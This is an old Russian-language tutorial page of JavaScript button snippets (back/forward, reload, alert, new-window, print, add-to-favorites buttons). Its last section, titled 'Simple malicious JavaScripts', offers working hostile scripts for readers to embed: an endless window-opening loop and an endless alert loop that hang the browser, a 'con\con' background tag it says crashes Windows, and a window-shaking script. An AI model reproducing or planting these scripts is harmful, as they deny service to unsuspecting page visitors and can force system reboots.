    <A HREF="#nul" onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('http://lenininc.narod.ru/'); return false;"> Сделать стартовой </A>

    Измените значение http://lenininc.narod.ru/ на свой адрес.

    История посещений (Назад/Вперед). Вверх

    Использование объекта History дает возможность возвращаться на URL, который был посещен перед этим, и переходить на URL, посещенный перед этим. Список посещенных URL содержится в меню go Обозревателя. Делается это, используя методы объекта History: back() и forward().

    <FORM>
    <INPUT TYPE="button" VALUE=" Назад " ONCLICK="history.back(-1)">
    <INPUT TYPE="button" VALUE=" Вперед " ONCLICK="history.forward(1)">
    </FORM>

    В виде ссылок эти кнопки будут выглядеть так:

    <A HREF="javascript:history.back()"> Назад </A>
    <A HREF="javascript:history.forward()"> Вперед </A>

    Если необходимо вернуться на несколько позиций списка меню, то используется метод go(), в скобках указывается число:

    Отрицательноe, напр. (-2) - на сколько шагов вернутся Назад
    Положительное, напр, (2) - на сколько шагов вернутся Вперед.

    Например, для возврата на три позиции назад указывается go(-3):

    <A HREF="javascript:history.go(-3)"> Назад </A>

    Если нет посещенных перед этим URL, то это работать не будет.

    Перезагрузка страницы. Вверх

    Данная программа перезагружает текущую страницу.

    <FORM>
    <input TYPE="button" VALUE="     Перезагрузить " ONCLICK="ReloadButton()">
    <script>
    function ReloadButton()
    {
    location.href="    Buttons.htm";
    }
    </script>
    </FORM>

    Измените документ Buttons.htm на свой.

    Кнопка-ссылка. Вверх

    Нажав такую кнопку, пользователь перейдет по указаной ссылке. В данном случае кнопка работает как обычная гипперссылка.

    <FORM>
    <input TYPE="button" VALUE="     LENIN INC " ONCLICK="HomeButton()"> <script>
    function HomeButton()
    {
    location.href="    http://lenininc.narod.ru/";
    }
    </script>
    </FORM>

    Измените URL http://lenininc.narod.ru/ на свой.

    Сообщение в окне. Вверх

    При нажатии на такую кнопку будет выведено окно с любым Вашим сообщением.

    <FORM>
    <input TYPE="button" VALUE="     Сообщение " ONCLICK="AlertButton()">
    <script>
    function AlertButton()
    {
    window.alert("    Введите здесь текст своего сообщения");
    }
    </script>
    </FORM>

    Сообщение в статусной строке. Вверх

    Когда пользователь нажмет такую кнопку в строке состояния обозревателя будет отображен определенный текст.

    <FORM>
    <input TYPE="button" VALUE="     Сообщение " ONCLICK="StatusButton()">
    <script>
    function StatusButton()
    {
    window.status="    Введите здесь текст своего сообщения";
    }
    </script>
    </FORM>

    Изменение фонового цвета страницы. Вверх

    С помощью такой кнопки пользователь сможет изменить фоновый цвет страницы.

    <FORM>
    <input TYPE="button" VALUE="     Изменить цвет " onClick="BgButton()">
    <script>
    function BgButton(){
    if (document.bgColor=='    #adff2f')
    {document.bgColor='    #ffffff';}
    else{document.bgColor='    #adff2f';}
    }
    </script>
    </FORM>

    Нажав кнопку, цвет фона измениться на салатовый - adff2f, повторное нажатие вернет белый фоновый цвет - #ffffff и т.д. Измените шестнадцатиричное значения цвета #adff2f на нужное Вам (в двух местах) и обязательно наберите его в нижмнем регистре.

    Открытие нового окна. Вверх

    Вы можете кнопкой открывать новые окна, которые могут содержать только определенные Вами элементы управления.

    <FORM>
    <input TYPE="button" VALUE="     Открыть окно " ONCLICK="NewWindow()">
    <script>
    function NewWindow()
    {
    window.open("    URL","","Parameter");
    }
    </script>
    </FORM>

    URL - URL откpываемого pесypса. Может быть ссылкой на любой понимаемый Обозревателем докyмент (в том числе и на локальной машине).

    Parameter - паpаметpы нового окна (в виде текстовой стpоки). Записываются без пробелов чеpез запятyю:

    Toolbar=[yes|no|1|0] - Присутствие Панели инструментов
    Location=[yes|no|1|0] - Присутствие адреса
    Directories=[yes|no|1|0] - Присутствие ссылок
    Status=[yes|no|1|0] - Присутствие статустной строки
    Menubar=[yes|no|1|0] - Присутствие меню
    Scrollbars=[yes|no|1|0] - Присутсвие прокрутки
    Resizable=[yes|no|1|0] - Изменение размера окна мышью
    Width=[pазмеp в пикселях] - Высота окна
    Height=[pазмеp в пикселях] - Ширина окна

    Можно использовать значения присутсвия элемента - yes или 1, отсутствие элемента - no или 0. В следующем примере выводится окно размерами 600Х400 пикселей с присутствием всех элементов управления:

    <FORM>
    <input TYPE="button" VALUE="     Открыть новое окно " ONCLICK="NewWindow()">
    <script>
    function NewWindow()
    {
    window.open("    URL","","Toolbar=1,Location=1,Directories=1,Status=1, Menubar=1,Scrollbars=1,Resizable=1,Width=600,Height=400");
    }
    </script>
    </FORM>

    Посмотрите статью Новые окна. Там приводится HTML cоздатель ссылок для открытия новых окон с определенными параметрами.

    Просмотр в виде HTML. Вверх

    При нажатии на такую кнопку открывается текущий документ в Блокноте пользователя.

    <FORM>
    <INPUT TYPE="button" NAME="view" VALUE="     Просмотр в виде HTML " OnClick="window.location="view-source:" +window.location.href">
    </FORM>

    Печать страницы. Вверх

    С помощью такой кнопки пользователь может вызвать окно Печать с параметрами настройки печати и произвести распечатку текущей страницы на принтере.

    <FORM>
<INPUT NAME="print" TYPE="button" VALUE=" Печать страницы "
ONCLICK="varitext()">
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function varitext(text){
text=document
print(text)
}
//  End -->
</SCRIPT>
</FORM>

    Украшательства. Вверх

    С помощью следующей конструкции Вы можете поместить в кнопку любое изображение. Для примера я взял кнопку Добавить в избранное и встроил в нее изображение Favorite.gif.

    <FORM>
    <BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://lenininc.narod.ru/', 'LENIN INC'); return false;">
    <IMG SRC="    Favorite.gif" WIDTH=16 HEIGHT=16 ALIGN="ABSMIDDLE" BORDER=0"> Добавить в Избранное </BUTTON>
    </FORM>

    Вместо Favorite.gif введите имя своего графического файла, укажите его размеры и окантовку (елементы WIDTH, HEIGHT, BORDER соответственно).

    Кроме этого, Вы можете изменить размер шрифта в кнопке, воспользовавшись стилями.

    <FORM>
    <BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://lenininc.narod.ru/', 'LENIN INC'); return false;">
    <IMG SRC="    Favorite.gif" WIDTH=16 HEIGHT=16 ALIGN="ABSMIDDLE" BORDER=0"><SPAN STYLE="font-size: 8pt"> Добавить в Избранное </SPAN></BUTTON>
    </FORM>

    Размер шрифта устанавливатся изменением значения атрибута font-size: Измените его, например, на 12pt (pt - проценты).

    Добавив еще два элемента в код кнопки можно добиться ее подсвечивания при подведении курсора мыши:

    <FORM>
    <BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://lenininc.narod.ru/', 'LENIN INC'); return false;" onMouseOver="style.color='    blue'" onMouseOut="style.color='black'">
    <IMG SRC="    Favorite.gif" WIDTH=16 HEIGHT=16 ALIGN="ABSMIDDLE" BORDER=0"><SPAN STYLE="font-size: 8pt"> Добавить в Избранное </SPAN></BUTTON>
    </FORM>

    Синтаксис:
    onMouseOver="style.color='blue'" - цвет текста, когда курсор мыши подводится к кнопке.
    onMouseOut="style.color='black'" - цвет текста, когда курсор мыши покидает кнопку.


 Простые вредоносные JavaScripts
    Простые вредоносные JavaScripts.

    На этой странице собраны скрипты, которые создают небольшие проблемы пользователю, в основном подвешивают Обозреватель Интернета. Нанести какой-либо серьезный ущерб программному обеспечению они не могут.

    Script открывает одновременно огромное колличество окон на машине пользователя, что приводит к зависанию Обозревателя. Имя HTML документа, в котором Вы разместите данный скрипт, и имя, выделеное красным (DieScript.htm), должны совпадать.
    <script>
    now();
    function now() {for (i=1;i>0;i++){open('DieScript.htm','new'+i);}}
    </script>

    Scripts вешает текущее окно Обозревателя и выводит сообщение ERROR !. После этого пользователь может продолжать работать, но это окно ему будет недоступно.
    <script>
    { while ( true ) window.alert('ERROR !'); }
    </script>

    Scripts вызывает неустранимую ошибку. Это баг операционной системы Windows. После этого пользователю прийдеться перезагрузить машину для возобновления нормальной работы системы.
    <body background=con\con>

    Scripts трясет окно Обозревателя. Чтобы избавится от враждебности этого скрипта нужно переключится на другое окно Обозревателя, а затем вернутся назад.
    <!-- Добавьте первую строку в тег body -->
    <body onloaD="MM_callJS('shake();')">

    <script language="JavaScript1.2">
    <!--
    <!-- Begin
    function shake() {
    n=100;
    for (i = 10; i > 0; i--) {
    for (j = n; j > 0; j--) {
    self.moveBy(0,i);
    self.moveBy(i,0);
    self.moveBy(0,-i);
    self.moveBy(-i,0);
    }
    }
    }
    // End -->
    function MM_callJS(jsStr) { file://v2.0
    return eval(jsStr)
    }
    // I own jo0 -->
    </script>